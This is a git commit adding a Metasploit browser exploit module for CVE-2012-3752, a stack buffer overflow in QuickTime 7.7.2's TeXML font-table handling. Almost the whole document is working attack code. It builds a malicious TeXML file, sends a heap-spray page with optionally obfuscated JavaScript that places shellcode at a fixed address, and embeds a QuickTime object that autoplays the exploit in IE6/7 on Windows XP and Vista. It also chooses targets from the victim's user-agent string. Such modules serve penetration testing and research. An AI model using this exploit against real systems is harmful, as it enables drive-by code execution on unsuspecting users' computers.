add module for cve-2012-3752
parent
d95220da59
commit
52ff38ad8a
|
@ -0,0 +1,279 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = NormalRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpServer::HTML
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::BrowserAutopwn
|
||||||
|
autopwn_info({
|
||||||
|
:os_name => OperatingSystems::WINDOWS,
|
||||||
|
:javascript => true,
|
||||||
|
:rank => NormalRanking,
|
||||||
|
:ua_name => HttpClients::IE,
|
||||||
|
:ua_minver => "6.0",
|
||||||
|
:ua_maxver => "7.0"
|
||||||
|
})
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Apple QuickTime 7.7.2 TeXML Style Element font-table Field Stack Buffer Overflow',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a vulnerability found in Apple QuickTime. When handling
|
||||||
|
a TeXML file, it is possible to trigger a stack-based buffer overflow, and then
|
||||||
|
gain arbitrary code execution under the context of the user. This is due to the
|
||||||
|
QuickTime3GPP.gtx component not handling certain Style subfields properly, as the
|
||||||
|
font-table field, which is used to trigger the overflow in this module. Because of
|
||||||
|
QuickTime restrictions when handling font-table fields, only 0x31-0x39 bytes can be
|
||||||
|
used to overflow, so at the moment DEP/ASLR bypass hasn't been provided. The module
|
||||||
|
has been tested successfully on IE6 and IE7 browsers (Windows XP and Vista).
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Arezou Hosseinzad-Amirkhizi', # Vulnerability Discovery
|
||||||
|
'juan vazquez' # Metasploit Module
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'OSVDB', '87087' ],
|
||||||
|
[ 'CVE', '2012-3752' ],
|
||||||
|
[ 'BID', '56557' ],
|
||||||
|
[ 'URL', 'http://support.apple.com/kb/HT5581' ]
|
||||||
|
],
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'EXITFUNC' => 'process',
|
||||||
|
'InitialAutoRunScript' => 'migrate -f',
|
||||||
|
},
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'BadChars' => "",
|
||||||
|
'Space' => 1000,
|
||||||
|
},
|
||||||
|
'Platform' => 'win',
|
||||||
|
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
# Tested with QuickTime 7.7.2
|
||||||
|
[ 'Automatic', {} ],
|
||||||
|
[ 'IE 6 on Windows XP SP3', {} ],
|
||||||
|
[ 'IE 7 on Windows XP SP3', {} ],
|
||||||
|
[ 'IE 7 on Windows Vista', {} ]
|
||||||
|
],
|
||||||
|
'Privileged' => false,
|
||||||
|
'DisclosureDate' => 'Nov 07 2012',
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_target(agent)
|
||||||
|
#If the user is already specified by the user, we'll just use that
|
||||||
|
return target if target.name != 'Automatic'
|
||||||
|
|
||||||
|
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
|
||||||
|
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
|
||||||
|
|
||||||
|
ie_name = "IE #{ie}"
|
||||||
|
|
||||||
|
case nt
|
||||||
|
when '5.1'
|
||||||
|
os_name = 'Windows XP SP3'
|
||||||
|
when '6.0'
|
||||||
|
os_name = 'Windows Vista'
|
||||||
|
when '6.1'
|
||||||
|
os_name = 'Windows 7'
|
||||||
|
end
|
||||||
|
|
||||||
|
targets.each do |t|
|
||||||
|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
|
||||||
|
print_status("Target selected as: #{t.name}")
|
||||||
|
return t
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def on_request_uri(client, request)
|
||||||
|
|
||||||
|
return if ((p = regenerate_payload(client)) == nil)
|
||||||
|
|
||||||
|
agent = request.headers['User-Agent']
|
||||||
|
my_target = get_target(agent)
|
||||||
|
# Avoid the attack if no suitable target found
|
||||||
|
if my_target.nil?
|
||||||
|
print_error("Browser not supported, sending 404: #{agent}")
|
||||||
|
send_not_found(cli)
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
if request.uri =~ /\.3gp/
|
||||||
|
print_status("Sending exploit TEXML (target: #{my_target.name})")
|
||||||
|
|
||||||
|
my_payload = "1" * (1024*16)
|
||||||
|
|
||||||
|
texml = <<-eos
|
||||||
|
<?xml version="1.0"?>
|
||||||
|
<?quicktime type="application/x-quicktime-texml"?>
|
||||||
|
|
||||||
|
<text3GTrack trackWidth="176.0" trackHeight="60.0" layer="1"
|
||||||
|
language="eng" timeScale="600"
|
||||||
|
transform="matrix(1.0, 0.0, 0.0, 0.0, 1.0, 0.0, 1, 0, 1.0)">
|
||||||
|
<sample duration="2400" keyframe="true">
|
||||||
|
|
||||||
|
<description format="tx3g" displayFlags="ScrollIn"
|
||||||
|
horizontalJustification="Left"
|
||||||
|
verticalJustification="Top"
|
||||||
|
backgroundColor="0%, 0%, 0%, 100%">
|
||||||
|
|
||||||
|
<defaultTextBox x="0" y="0" width="176" height="60"/>
|
||||||
|
<fontTable>
|
||||||
|
<font id="1" name="Times"/>
|
||||||
|
</fontTable>
|
||||||
|
|
||||||
|
<sharedStyles>
|
||||||
|
<style id="1">
|
||||||
|
{font-table: #{my_payload}}
|
||||||
|
{font-style:normal}
|
||||||
|
{font-weight: normal}
|
||||||
|
{font-size: 10}
|
||||||
|
{line-height: 100%}
|
||||||
|
{text-align: right}
|
||||||
|
{text-decoration: underline}
|
||||||
|
{color: 100%, 100%, 100%, 100%}
|
||||||
|
{backgroundcolor: 100%, 100%, 100%, 100%}
|
||||||
|
</style>
|
||||||
|
</sharedStyles>
|
||||||
|
</description>
|
||||||
|
|
||||||
|
<sampleData scrollDelay="200"
|
||||||
|
highlightColor="25%, 45%, 65%, 100%"
|
||||||
|
targetEncoding="utf8">
|
||||||
|
|
||||||
|
<textBox x="10" y="10" width="156" height="40"/>
|
||||||
|
<text styleID="1">What you need... Metasploit!</text>
|
||||||
|
<highlight startMarker="1" endMarker="2"/>
|
||||||
|
<blink startMarker="3" endMarker="4"/>
|
||||||
|
</sampleData>
|
||||||
|
</sample>
|
||||||
|
</text3GTrack>
|
||||||
|
eos
|
||||||
|
|
||||||
|
send_response(client, texml, { 'Content-Type' => "application/x-quicktime-texml" })
|
||||||
|
|
||||||
|
else
|
||||||
|
print_status("Sending initial HTML")
|
||||||
|
|
||||||
|
url = ((datastore['SSL']) ? "https://" : "http://")
|
||||||
|
url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(client.peerhost) : datastore['SRVHOST'])
|
||||||
|
url << ":" + datastore['SRVPORT'].to_s
|
||||||
|
url << get_resource
|
||||||
|
|
||||||
|
fname = rand_text_alphanumeric(4)
|
||||||
|
|
||||||
|
#ARCH used by the victim machine
|
||||||
|
arch = Rex::Arch.endian(my_target.arch)
|
||||||
|
nops = Rex::Text.to_unescape("\x0c\x0c\x0c\x0c", arch)
|
||||||
|
code = Rex::Text.to_unescape(payload.encoded, arch)
|
||||||
|
|
||||||
|
# Spray puts payload on 0x31313131
|
||||||
|
spray = <<-JS
|
||||||
|
var heap_obj = new heapLib.ie(0x20000);
|
||||||
|
var code = unescape("#{code}");
|
||||||
|
var nops = unescape("#{nops}");
|
||||||
|
|
||||||
|
while (nops.length < 0x80000) nops += nops;
|
||||||
|
var offset = nops.substring(0, 0x800 - code.length);
|
||||||
|
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
|
||||||
|
|
||||||
|
while (shellcode.length < 0x40000) shellcode += shellcode;
|
||||||
|
var block = shellcode.substring(0, (0x80000-6)/2);
|
||||||
|
|
||||||
|
heap_obj.gc();
|
||||||
|
for (var i=0; i < 1600; i++) {
|
||||||
|
heap_obj.alloc(block);
|
||||||
|
}
|
||||||
|
JS
|
||||||
|
|
||||||
|
#Use heaplib
|
||||||
|
js_spray = heaplib(spray)
|
||||||
|
|
||||||
|
#obfuscate on demand
|
||||||
|
if datastore['OBFUSCATE']
|
||||||
|
js_spray = ::Rex::Exploitation::JSObfu.new(js_spray)
|
||||||
|
js_spray.obfuscate
|
||||||
|
end
|
||||||
|
|
||||||
|
content = "<html>"
|
||||||
|
content << <<-JSPRAY
|
||||||
|
<head>
|
||||||
|
<script>
|
||||||
|
#{js_spray}
|
||||||
|
</script>
|
||||||
|
</head>
|
||||||
|
JSPRAY
|
||||||
|
content << "<body>"
|
||||||
|
content << <<-ENDEMBED
|
||||||
|
<OBJECT
|
||||||
|
CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"
|
||||||
|
WIDTH="1"
|
||||||
|
HEIGHT="1"
|
||||||
|
CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab">
|
||||||
|
<PARAM name="SRC" VALUE = "#{url}/#{fname}.3gp">
|
||||||
|
<PARAM name="QTSRC" VALUE = "#{url}/#{fname}.3gp">
|
||||||
|
<PARAM name="AUTOPLAY" VALUE = "true" >
|
||||||
|
<PARAM name="TYPE" VALUE = "video/quicktime" >
|
||||||
|
<PARAM name="TARGET" VALUE = "myself" >
|
||||||
|
<EMBED
|
||||||
|
SRC = "#{url}/#{fname}.3gp"
|
||||||
|
QTSRC = "#{url}/#{fname}.3gp"
|
||||||
|
TARGET = "myself"
|
||||||
|
WIDTH = "1"
|
||||||
|
HEIGHT = "1"
|
||||||
|
AUTOPLAY = "true"
|
||||||
|
PLUGIN = "quicktimeplugin"
|
||||||
|
TYPE = "video/quicktime"
|
||||||
|
CACHE = "false"
|
||||||
|
PLUGINSPAGE= "http://www.apple.com/quicktime/download/" >
|
||||||
|
</EMBED>
|
||||||
|
</OBJECT>
|
||||||
|
ENDEMBED
|
||||||
|
content << "</body></html>"
|
||||||
|
|
||||||
|
send_response(client, content, { 'Content-Type' => "text/html" })
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
=begin
|
||||||
|
* Routine checking only for '1'-'9' chars for the vaules on the vulnerable style fields (font-table, font-size and line-height)
|
||||||
|
|
||||||
|
int __fastcall sub_67EED2B0(int a1, int a2)
|
||||||
|
{
|
||||||
|
int result; // eax@1
|
||||||
|
unsigned __int8 v3; // cl@2
|
||||||
|
|
||||||
|
for ( result = 0; ; ++result )
|
||||||
|
{
|
||||||
|
v3 = *(_BYTE *)a2++ - 0x30;
|
||||||
|
if ( v3 > 9u )
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
=end
|
Loading…
Reference in New Issue